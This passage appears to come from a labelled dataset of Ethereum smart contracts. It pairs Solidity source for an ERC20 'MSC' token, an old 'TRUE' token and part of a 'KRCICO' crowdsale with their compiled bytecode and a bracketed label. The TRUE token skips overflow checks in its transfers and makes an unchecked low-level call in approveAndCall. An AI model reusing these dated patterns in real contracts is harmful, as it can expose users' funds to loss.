(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract MSCToken is ERC20, ERC20Detailed, ERC20Burnable { constructor () public ERC20Detailed("MUSE ENT COIN", "MSC", 18) { _mint(msg.sender, 2000000000 * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103bf578063a457c2d714610442578063a9059cbb146104a8578063dd62ed3e1461050e576100cf565b806342966c68146102eb57806370a082311461031957806379cc679014610371576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc610586565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610628565b604051808215151515815260200191505060405180910390f35b6101c5610646565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610650565b604051808215151515815260200191505060405180910390f35b610269610729565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610740565b604051808215151515815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b81019080803590602001909291905050506107f3565b005b61035b6004803603602081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610807565b6040518082815260200191505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084f565b005b6103c761085d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ff565b604051808215151515815260200191505060405180910390f35b6104f4600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cc565b604051808215151515815260200191505060405180910390f35b6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ea565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b600061063c610635610a71565b8484610a79565b6001905092915050565b6000600254905090565b600061065d848484610c70565b61071e84610669610a71565b610719856040518060600160405280602881526020016113cd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106cf610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b610a79565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107e961074d610a71565b846107e4856001600061075e610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe690919063ffffffff16565b610a79565b6001905092915050565b6108046107fe610a71565b8261106e565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108598282611226565b5050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b60006109c261090c610a71565b846109bd856040518060600160405280602581526020016114836025913960016000610936610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b610a79565b6001905092915050565b60006109e06109d9610a71565b8484610c70565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061145f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113856022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061143a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113406023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016113a7602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f98578082015181840152602081019050610f7d565b50505050905090810190601f168015610fc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806114196021913960400191505060405180910390fd5b61115f81604051806060016040528060228152602001611363602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b6816002546112f590919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611230828261106e565b6112f18261123c610a71565b6112ec846040518060600160405280602481526020016113f560249139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006112a2610a71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f269092919063ffffffff16565b610a79565b5050565b600061133783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f26565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820ce873384b952df120e7bf03ca5c686099e351d3607aeec4ea7fedb09f19d7c6564736f6c63430005110032
[ 38 ]
0xf2c25a4e18085c24c8895fcb0aee389fb77b3f61
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract TRUE is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function TRUE( ) { balances[msg.sender] = 358770; totalSupply = 358770; name = "TRUE"; decimals = 0; symbol = "TRUE"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058204b0f664eb230af3da9ac414ecc876d72777e1f447e13454290ad9f82f4b55bba0029
[ 38 ]
0xf2c2d45779856d07a9928b2dfeb50c88f45abd7f
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenInterface { function totalSupply() external constant returns (uint); function balanceOf(address tokenOwner) external constant returns (uint balance); function allowance(address tokenOwner, address spender) external constant returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); function burn(uint256 _value) external; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Burn(address indexed burner, uint256 value); } contract KRCICOContract is Ownable{ using SafeMath for uint256; // The token being sold TokenInterface public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // how many token units a buyer gets per wei uint256 public ratePerWei; // amount of raised money in wei uint256 public weiRaised; uint256 public TOKENS_SOLD; uint256 maxTokensToSale; uint256 bonusInPhase1; uint256 bonusInPhase2; uint256 bonusInPhase3; uint256 minimumContribution; uint256 maximumContribution; bool isCrowdsalePaused = false; uint256 totalDurationInDays = 56 days; uint256 LongTermFoundationBudgetAccumulated; uint256 LegalContingencyFundsAccumulated; uint256 MarketingAndCommunityOutreachAccumulated; uint256 CashReserveFundAccumulated; uint256 OperationalExpensesAccumulated; uint256 SoftwareProductDevelopmentAccumulated; uint256 FoundersTeamAndAdvisorsAccumulated; uint256 LongTermFoundationBudgetPercentage; uint256 LegalContingencyFundsPercentage; uint256 MarketingAndCommunityOutreachPercentage; uint256 CashReserveFundPercentage; uint256 OperationalExpensesPercentage; uint256 SoftwareProductDevelopmentPercentage; uint256 FoundersTeamAndAdvisorsPercentage; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor(uint256 _startTime, address _wallet, address _tokenAddress) public { require(_startTime >=now); require(_wallet != 0x0); startTime = _startTime; endTime = startTime + totalDurationInDays; require(endTime >= startTime); owner = _wallet; maxTokensToSale = 157500000e18; bonusInPhase1 = 20; bonusInPhase2 = 15; bonusInPhase3 = 10; minimumContribution = 5e17; maximumContribution = 150e18; ratePerWei = 40e18; token = TokenInterface(_tokenAddress); LongTermFoundationBudgetAccumulated = 0; LegalContingencyFundsAccumulated = 0; MarketingAndCommunityOutreachAccumulated = 0; CashReserveFundAccumulated = 0; OperationalExpensesAccumulated = 0; SoftwareProductDevelopmentAccumulated = 0; FoundersTeamAndAdvisorsAccumulated = 0; LongTermFoundationBudgetPercentage = 15; LegalContingencyFundsPercentage = 10; MarketingAndCommunityOutreachPercentage = 10; CashReserveFundPercentage = 20; OperationalExpensesPercentage = 10; SoftwareProductDevelopmentPercentage = 15; FoundersTeamAndAdvisorsPercentage = 20; } // fallback function can be used to buy tokens function () public payable { buyTokens(msg.sender); } function calculateTokens(uint value) internal view returns (uint256 tokens) { uint256 timeElapsed = now - startTime; uint256 timeElapsedInDays = timeElapsed.div(1 days); uint256 bonus = 0; //Phase 1 (15 days) if (timeElapsedInDays <15) { tokens = value.mul(ratePerWei); bonus = tokens.mul(bonusInPhase1); bonus = bonus.div(100); tokens = tokens.add(bonus); require (TOKENS_SOLD.add(tokens) <= maxTokensToSale); } //Phase 2 (15 days) else if (timeElapsedInDays >=15 && timeElapsedInDays <30) { tokens = value.mul(ratePerWei); bonus = tokens.mul(bonusInPhase2); bonus = bonus.div(100); tokens = tokens.add(bonus); require (TOKENS_SOLD.add(tokens) <= maxTokensToSale); } //Phase 3 (15 days) else if (timeElapsedInDays >=30 && timeElapsedInDays <45) { tokens = value.mul(ratePerWei); bonus = tokens.mul(bonusInPhase3); bonus = bonus.div(100); tokens = tokens.add(bonus); require (TOKENS_SOLD.add(tokens) <= maxTokensToSale); } else { bonus = 0; } } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(isCrowdsalePaused == false); require(validPurchase()); require(TOKENS_SOLD<maxTokensToSale); uint256 weiAmount = msg.value.div(10**16); uint256 tokens = calculateTokens(weiAmount); require(TOKENS_SOLD.add(tokens)<=maxTokensToSale); // update state weiRaised = weiRaised.add(msg.value); token.transfer(beneficiary,tokens); emit TokenPurchase(owner, beneficiary, msg.value, tokens); TOKENS_SOLD = TOKENS_SOLD.add(tokens); distributeFunds(); } function distributeFunds() internal { uint received = msg.value; LongTermFoundationBudgetAccumulated = LongTermFoundationBudgetAccumulated .add(received.mul(LongTermFoundationBudgetPercentage) .div(100)); LegalContingencyFundsAccumulated = LegalContingencyFundsAccumulated .add(received.mul(LegalContingencyFundsPercentage) .div(100)); MarketingAndCommunityOutreachAccumulated = MarketingAndCommunityOutreachAccumulated .add(received.mul(MarketingAndCommunityOutreachPercentage) .div(100)); CashReserveFundAccumulated = CashReserveFundAccumulated .add(received.mul(CashReserveFundPercentage) .div(100)); OperationalExpensesAccumulated = OperationalExpensesAccumulated .add(received.mul(OperationalExpensesPercentage) .div(100)); SoftwareProductDevelopmentAccumulated = SoftwareProductDevelopmentAccumulated .add(received.mul(SoftwareProductDevelopmentPercentage) .div(100)); FoundersTeamAndAdvisorsAccumulated = FoundersTeamAndAdvisorsAccumulated .add(received.mul(FoundersTeamAndAdvisorsPercentage) .div(100)); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; 